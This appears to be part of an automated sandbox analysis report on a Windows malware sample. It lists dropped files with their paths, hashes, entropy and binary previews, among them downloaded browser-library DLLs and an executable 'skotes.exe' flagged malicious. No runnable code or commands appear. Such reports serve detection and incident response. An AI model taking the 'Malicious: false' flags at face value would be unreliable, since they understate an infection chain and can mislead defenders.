SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.377424718835543
Encrypted:	false
SSDEEP:	48:SfNaoQ6APTEQEfNaoQsQJfNaoQZQlfNaoQH0UrU0U8Qx:6NnQJTEQwNnQsQlNnQZQRNnQH0UrU0U5
MD5:	6467BC67C21432FFE89DF675B75653F1
SHA1:	CAC094741F252F75885E87D37F3FCC47C49CEFF2
SHA-256:	87FC91118AA7E06CC298054CA15085D636CC1227508154F7640769330F42D132
SHA-512:	C55EBAF8A53ADFF12C979D4708CA0C2425D58A5FA26244F2ADCBADEF362837241C322CBB98A2A4C772EEC899BF19046E9FC8FBF905F3406B7E2075A961821A39
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3CEF255099E418EFC8C3674040DAEBB3",.. "id": "3CEF255099E418EFC8C3674040DAEBB3",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3CEF255099E418EFC8C3674040DAEBB3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A7DCEF95FBFD88B5065C7C5037FB1944",.. "id": "A7DCEF95FBFD88B5065C7C5037FB1944",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A7DCEF95FBFD88B5065C7C5037FB1944"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1974784
Entropy (8bit):	7.948495197520631
Encrypted:	false
SSDEEP:	24576:OYb9xJ6ckjezhIArqtxdJP0HU6ZYRmZbpymJLdm7ZlGbN5bEdB8mElOA+f7dkgRE:NWcLI77zmXTBA1kTodBaODTOsjBJMf
MD5:	266A3815610D8CF2152B7935F676A542
SHA1:	0BD78F2B319000AEA80E17F8943F474F201A11E8
SHA-256:	6AE4FF8BDD6DF8A6993ECAFAFF38F5067FEC333AD04F9A4410B7A12D6E419983
SHA-512:	F001BCE9CFBC30615AD65CCA2B6818A861D2538E39752D02BEEBE19E1B349D08913A4391739F4C159B089B79DEEE26B811A82C0D89B6AB2EF2552AA5ABE26B86
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@.......................... N.....S.....@.................................W...k.......H...................`.M...............................M..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ,.........................@...jcgoymzc......2.....................@...vliouzwo......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\07d9582c-a071-490c-8844-2023a587d666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\61b59a2c-420f-44ba-a0ac-a6cbed4ff021.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\7667a32d-6e69-4cb7-9f84-406f890273d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\81f5f018-bd22-44c6-95c1-490d9924e787.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCGDGCFBAEG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1974784
Entropy (8bit):	7.948495197520631
Encrypted:	false
SSDEEP:	24576:OYb9xJ6ckjezhIArqtxdJP0HU6ZYRmZbpymJLdm7ZlGbN5bEdB8mElOA+f7dkgRE:NWcLI77zmXTBA1kTodBaODTOsjBJMf
MD5:	266A3815610D8CF2152B7935F676A542
SHA1:	0BD78F2B319000AEA80E17F8943F474F201A11E8
SHA-256:	6AE4FF8BDD6DF8A6993ECAFAFF38F5067FEC333AD04F9A4410B7A12D6E419983
SHA-512:	F001BCE9CFBC30615AD65CCA2B6818A861D2538E39752D02BEEBE19E1B349D08913A4391739F4C159B089B79DEEE26B811A82C0D89B6AB2EF2552AA5ABE26B86
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@.......................... N.....S.....@.................................W...k.......H...................`.M...............................M..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ,.........................@...jcgoymzc......2.....................@...vliouzwo......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bfe7cb3d-6a0f-4979-89d3-76ff851c48a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.399914886644923
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrn:8e2Fa116uCntc5toYuoSJxM
MD5:	0825CAE6123FEE481053352A908DDA1D
SHA1:	7B193ECEA3C9474F3BF9A54CC1EDE93EACB1B849
SHA-256:	8EAECF793AEA9C439673304FC932DA77F6367662DE306B38C9803C2D85E43741
SHA-512:	006B3363693CFF25E10E70FAC42FDD3DD84764E31A075533C79DDFED68C2351806AD4DEDFBD5325F0A03422C8FD21411D739CD6490932F6A8A2E1D31B366EDD0
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d8ea4880-8a81-4954-b043-23b26a65d0d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1538326
Entropy (8bit):	7.992819588259605
Encrypted:	true
SSDEEP:	24576:YelHBcmIGGdBrx5ZvfIH8aNirEwZgBFvsCf5kfyxGx4aSfbIiIanKhmb36pi1FKg:RhJ7cBrx5Bf/aNirl6b0CfiyMQfbIxwJ
MD5:	9E0C06CC7C7F4412D94558D9A073BA66
SHA1:	F8F0CAE03D45AD04A2429665D0877A1AC1C7DD41
SHA-256:	03F54C49DA5E63B40FA902BE1921085457D31984EACF2280DAF4D51AD7AC3863
SHA-512:	3F1C7F4F9FD3EE27D3B11A9E2DDD2DDB2DB7D0E5894DF0EB93E9B166FAF2A82B0379EBD551762E7F01CF93487A35466F3FBE426373E3B6050630BF3BCFE335A9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\defbb1e0-cc70-4d65-8376-5d0b42260e3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_1191422772\61b59a2c-420f-44ba-a0ac-a6cbed4ff021.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8004_1191422772\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
